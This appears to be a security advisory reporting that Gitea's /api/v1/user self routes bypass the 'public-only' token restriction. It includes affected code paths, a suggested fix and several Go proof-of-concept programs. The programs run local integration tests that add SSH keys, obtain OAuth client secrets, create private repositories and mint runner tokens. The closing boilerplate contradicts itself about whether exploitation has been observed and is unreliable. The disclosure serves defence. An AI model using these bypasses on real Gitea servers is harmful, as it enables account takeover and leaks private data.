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GHSA-wrr5-99h5-gq57
No affected components available
Summary
Many authenticated self routes under /api/v1/user/... do not enforce the public-only token restriction. As a result, a token or OAuth grant marked public-only, but otherwise carrying the route-required read/write scope category, can access or modify private account resources through self routes.
The canonical private-user endpoint correctly rejects the same tokens, for example GET /api/v1/users/{privateUser} returns 403. The bypass exists because the generic /api/v1/user route group requires user scope and reqToken(), but does not enforce the token's public-only restriction for most self routes.
This is a systemic token/OAuth scope-boundary bypass, not a single endpoint bug.
This appears related to the previously fixed public-only token issue tracked as CVE-2025-68941 / GHSA-xfq3-qj7j-4565, which affected Gitea < 1.22.3. The behavior described here reproduces on tested main checkout 6a2706626904. A representative SSH-key self-route PoC also reproduces on tested releases through v1.26.1. In other words, this should be treated as an incomplete fix / residual gap in a different route family, not as a duplicate of the older advisory.
Affected Code
The generic /api/v1/user group is mounted with user scope and reqToken():
routers/api/v1/api.go:1008-1128
tokenRequiresScopes() sets ctx.PublicOnly when the token contains public-only, but the public-only restriction is enforced only by routes that also call checkTokenPublicOnly():
routers/api/v1/api.go:241-294implementscheckTokenPublicOnly().routers/api/v1/api.go:299-341setsctx.PublicOnlyfrom the token scope.
Representative affected routes in that group:
/api/v1/user: private self profile and settings./api/v1/user/emails: read, add, and delete account email addresses./api/v1/user/keys: list and add SSH public keys./api/v1/user/applications/oauth2: list and create OAuth2 applications, including returned client secrets./api/v1/user/actions/secrets/{secretname}: create or delete user-level Actions secrets./api/v1/user/actions/variables: list, read, create, update, and delete user-level Actions variables./api/v1/user/actions/runners/...: list, update, delete runners, and mint registration tokens./api/v1/user/actions/runsand/api/v1/user/actions/jobs: list workflow metadata for private repositories./api/v1/user/repos: create private repositories and list private repositories./api/v1/user/subscriptions,/api/v1/user/times,/api/v1/user/stopwatches,/api/v1/user/teams,/api/v1/user/hooks: leak or modify private-account resources.
Correct public-only enforcement for comparison:
routers/api/v1/api.go:970-1008appliescontext.UserAssignmentAPI()andcheckTokenPublicOnly()to canonical/api/v1/users/{username}routes.routers/api/v1/user/user.go:122-125rejects public-only access to private users on/api/v1/users/{username}.routers/api/v1/api.go:1091-1092shows that/api/v1/user/reposrequires the additional repository scope category, but still does not applycheckTokenPublicOnly().
Local PoCs
The following dynamic PoCs were retested on checkout 6a2706626904 and all reproduced successfully. Each PoC writes a temporary integration test, runs it, and removes it afterward.
cd pocs
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_self_user_private_profile_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_ssh_key_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_emails_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_oauth_app_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_repos_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_registration_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_manage_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_webhook_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_runs_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_jobs_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_subscriptions_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_times_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_stopwatches_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_teams_private_org_bypass_dynamic_poc.go
Reproduced Impact Examples
Using private fixture user user31, public-only tokens are rejected by GET /api/v1/users/user31, but tokens with the route-required scopes can still reach the self routes below.
Confirmed with public-only,write:user:
- add SSH keys through
/api/v1/user/keys; - add account emails through
/api/v1/user/emails; - create OAuth2 applications and receive
client_secretthrough/api/v1/user/applications/oauth2; - create/delete user-level Actions secrets;
- create/read/list/update/delete user-level Actions variables;
- mint user-level runner registration tokens;
- manage user-level runners;
- create user webhooks.
Confirmed with public-only,read:user:
- read private self profile/settings and account email surfaces;
- list OAuth2 applications and user webhooks;
- list private repository workflow runs/jobs exposed through self Actions routes;
- list private subscriptions, tracked times, stopwatches, and team memberships.
Confirmed with public-only plus the route-required repository category:
- create private repositories through
POST /api/v1/user/reposwithpublic-only,write:user,write:repository; - list those private repositories through
GET /api/v1/user/reposwithpublic-only,read:user,read:repository, while the canonical private repository endpoint remains forbidden.
Impact
The public-only token flag is intended to limit a token or OAuth grant to public resources. These routes violate that boundary for private accounts.
Practical abuse scenarios include:
- a third-party app or leaked token with the route-required write scope, but restricted to public resources, adding SSH credentials or OAuth applications to a private account;
- a public-resource-restricted token with the route-required write scope modifying Actions secrets/variables or registering/managing runners;
- a token limited to public resources creating and enumerating private repositories;
- a supposedly public-only integration learning private repository, workflow, team, timing, subscription, webhook, and email metadata.
Suggested Fix
Apply public-only enforcement consistently to self routes under /api/v1/user.
At minimum:
- for self routes, treat
ctx.Doeras the target user/resource owner when enforcingpublic-only; mechanically addingcheckTokenPublicOnly()is not sufficient unlessctx.ContextUseris set toctx.Doeror the check explicitly handles self routes; - reject
ctx.PublicOnlyon credential, identity, OAuth application, repository creation, webhook, Actions, runner, and email-management self-route mutations; - filter list routes so public-only tokens cannot return private repositories, private organization/team metadata, private workflow runs/jobs, private tracked time, private stopwatches, or hidden subscriptions;
- add regression coverage that compares each affected
/api/v1/user/...route against the canonical private-user or private-repository endpoint.
Non-public-only tokens should preserve current behavior.
Attachment: api_public_only_user_ssh_key_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
asymkey_model "code.gitea.io/gitea/models/asymkey"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
api "code.gitea.io/gitea/modules/structs"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserSSHKeyBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)
req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
Title: "public-only-private-key-bypass",
Key: "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4cn+iXnA4KvcQYSV88vGn0Yi91vG47t1P7okprVmhNTkipNRIHWr6WdCO4VDr/cvsRkuVJAsLO2enwjGWWueOO6BodiBgyAOZ/5t5nJNMCNuLGT5UIo/RI1b0WRQwxEZTRjt6mFNw6lH14wRd8ulsr9toSWBPMOGWoYs1PDeDL0JuTjL+tr1SZi/EyxCngpYszKdXllJEHyI79KQgeD0Vt3pTrkbNVTOEcCNqZePSVmUH8X8Vhugz3bnE0/iE9Pb5fkWO9c4AnM1FgI/8Bvp27Fw2ShryIXuR6kKvUqhVMTuOSDHwu6A8jLE5Owt3GAYugDpDYuwTVNGrHLXKpPzrGGPE/jPmaLCMZcsdkec95dYeU3zKODEm8UQZFhmJmDeWVJ36nGrGZHL4J5aTTaeFUJmmXDaJYiJ+K2/ioKgXqnXvltu0A9R8/LGy4nrTJRr4JMLuJFoUXvGm1gXQ70w2LSpk6yl71RNC0hCtsBe8BP8IhYCM0EP5jh7eCMQZNvM= nocomment",
}).AddTokenAuth(publicOnlyWriteUserToken)
resp := MakeRequest(t, req, http.StatusCreated)
key := DecodeJSON(t, resp, &api.PublicKey{})
require.Equal(t, "public-only-private-key-bypass", key.Title)
unittest.AssertExistsAndLoadBean(t, &asymkey_model.PublicKey{
ID: key.ID,
OwnerID: privateUser.ID,
Name: "public-only-private-key-bypass",
})
req = NewRequest(t, "GET", "/api/v1/user/keys").AddTokenAuth(publicOnlyWriteUserToken)
resp = MakeRequest(t, req, http.StatusOK)
keys := DecodeJSON(t, resp, []api.PublicKey{})
found := false
for _, k := range keys {
if k.ID == key.ID {
found = true
break
}
}
require.True(t, found)
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/key.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_ssh_key_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserSSHKeyBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
fmt.Println("reproduced: the same public-only token with the route-required write:user scope can add an SSH public key to the private account through /api/v1/user/keys")
fmt.Println("reproduced: the same token can list that newly added key through /api/v1/user/keys")
fmt.Println("condition=private user issues a public-only,write:user token")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}
Attachment: api_public_only_user_oauth_app_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
api "code.gitea.io/gitea/modules/structs"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserOAuthAppBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
publicOnlyReadUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeReadUser)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyReadUserToken), http.StatusForbidden)
req := NewRequestWithJSON(t, "POST", "/api/v1/user/applications/oauth2", &api.CreateOAuth2ApplicationOptions{
Name: "public-only-private-oauth-app",
RedirectURIs: []string{"https://example.com/callback"},
ConfidentialClient: true,
}).AddTokenAuth(publicOnlyWriteUserToken)
resp := MakeRequest(t, req, http.StatusCreated)
app := DecodeJSON(t, resp, &api.OAuth2Application{})
require.Equal(t, "public-only-private-oauth-app", app.Name)
require.NotEmpty(t, app.ClientID)
require.NotEmpty(t, app.ClientSecret)
req = NewRequest(t, "GET", "/api/v1/user/applications/oauth2").AddTokenAuth(publicOnlyReadUserToken)
resp = MakeRequest(t, req, http.StatusOK)
apps := DecodeJSON(t, resp, api.OAuth2ApplicationList{})
found := false
for _, a := range apps {
if a.ID == app.ID && a.Name == app.Name {
found = true
break
}
}
require.True(t, found)
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/app.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_oauth_app_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserOAuthAppBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only user-scoped tokens are rejected on the canonical private /users/{username} endpoint")
fmt.Println("reproduced: public-only,write:user can create an OAuth2 application for the private account and receives a client secret")
fmt.Println("reproduced: public-only,read:user can list that OAuth2 application through /api/v1/user/applications/oauth2")
fmt.Println("condition=private user issues public-only tokens with route-required user scopes")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}
Attachment: api_public_only_user_repos_private_repo_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
api "code.gitea.io/gitea/modules/structs"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserReposBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyReadRepoToken := getTokenForLoggedInUser(t, session,
auth_model.AccessTokenScopePublicOnly,
auth_model.AccessTokenScopeReadUser,
auth_model.AccessTokenScopeReadRepository,
)
publicOnlyWriteRepoToken := getTokenForLoggedInUser(t, session,
auth_model.AccessTokenScopePublicOnly,
auth_model.AccessTokenScopeWriteUser,
auth_model.AccessTokenScopeWriteRepository,
)
req := NewRequestWithJSON(t, "POST", "/api/v1/user/repos", &api.CreateRepoOption{
Name: "public-only-private-repo",
Private: true,
}).AddTokenAuth(publicOnlyWriteRepoToken)
resp := MakeRequest(t, req, http.StatusCreated)
created := DecodeJSON(t, resp, &api.Repository{})
require.Equal(t, "user31/public-only-private-repo", created.FullName)
require.True(t, created.Private)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/repos/user31/public-only-private-repo").AddTokenAuth(publicOnlyReadRepoToken), http.StatusForbidden)
resp = MakeRequest(t, NewRequest(t, "GET", "/api/v1/user/repos").AddTokenAuth(publicOnlyReadRepoToken), http.StatusOK)
repos := DecodeJSON(t, resp, []api.Repository{})
found := false
for _, repo := range repos {
if repo.FullName == "user31/public-only-private-repo" {
found = true
require.True(t, repo.Private)
}
}
require.True(t, found)
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/repo.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_repos_private_repo_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserReposBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only,write:user,write:repository can create a private repository through /api/v1/user/repos")
fmt.Println("reproduced: public-only,read:user,read:repository is still forbidden on the canonical repository endpoint for that repo")
fmt.Println("reproduced: the same public-only token with the route-required read:user,read:repository scope can list the private repository through /api/v1/user/repos")
fmt.Println("condition=private user issues public-only tokens with route-required user and repository scopes")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}
Attachment: api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
api "code.gitea.io/gitea/modules/structs"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserActionsSecretVariableBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)
req := NewRequestWithJSON(t, "PUT", "/api/v1/user/actions/secrets/PRIVATE_SECRET", api.CreateOrUpdateSecretOption{
Data: "top-secret",
}).AddTokenAuth(publicOnlyWriteUserToken)
MakeRequest(t, req, http.StatusCreated)
req = NewRequestWithJSON(t, "POST", "/api/v1/user/actions/variables/PRIVATE_VAR", api.CreateVariableOption{
Value: "private-value",
Description: "scoped through public-only token",
}).AddTokenAuth(publicOnlyWriteUserToken)
MakeRequest(t, req, http.StatusCreated)
req = NewRequest(t, "GET", "/api/v1/user/actions/variables/PRIVATE_VAR").AddTokenAuth(publicOnlyWriteUserToken)
resp := MakeRequest(t, req, http.StatusOK)
variable := DecodeJSON(t, resp, &api.ActionVariable{})
require.Equal(t, "PRIVATE_VAR", variable.Name)
require.Equal(t, "private-value", variable.Data)
req = NewRequest(t, "GET", "/api/v1/user/actions/variables").AddTokenAuth(publicOnlyWriteUserToken)
resp = MakeRequest(t, req, http.StatusOK)
variables := DecodeJSON(t, resp, []*api.ActionVariable{})
found := false
for _, v := range variables {
if v.Name == "PRIVATE_VAR" && v.Data == "private-value" {
found = true
break
}
}
require.True(t, found)
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/action.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_actions_secret_variable_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserActionsSecretVariableBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
fmt.Println("reproduced: the same public-only token with the route-required write:user scope can create a user actions secret for the private account")
fmt.Println("reproduced: the same public-only token with the route-required write:user scope can create, read, and list user actions variables")
fmt.Println("condition=private user issues a public-only,write:user token")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}
Attachment: api_public_only_user_runner_registration_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserRunnerRegistrationBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)
resp := MakeRequest(t, NewRequest(t, "POST", "/api/v1/user/actions/runners/registration-token").AddTokenAuth(publicOnlyWriteUserToken), http.StatusOK)
registrationToken := DecodeJSON(t, resp, &map[string]string{})
require.NotEmpty(t, (*registrationToken)["token"])
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/runners.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_runner_registration_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserRunnerRegistrationBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
fmt.Println("reproduced: the same public-only token with the route-required write:user scope can mint a user-level actions runner registration token")
fmt.Println("condition=private user issues a public-only,write:user token")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N")
}
Version validation
Validation date: 2026-05-13
The SSH-key write PoC was used as the representative dynamic test for the systemic /api/v1/user self-route public-only bypass.
| Version | Commit | Result |
|---|---:|---|
| main | 6a2706626904 | reproduced dynamically |
| v1.26.1 | afdbd9b7c5 | reproduced dynamically |
| v1.25.5 | f913d90ab6 | reproduced dynamically |
| v1.24.7 | 99053ce4fa | reproduced dynamically |
| v1.23.8 | cccd54999a | reproduced dynamically |
| v1.22.6 | 8eefa1f6de | reproduced dynamically with Go 1.22.12 test toolchain |
The representative version-matrix PoC validates the same root cause across tested releases for the SSH-key self-route write surface. The additional lead/supporting PoCs above were retested on the main checkout listed in the Local PoCs section.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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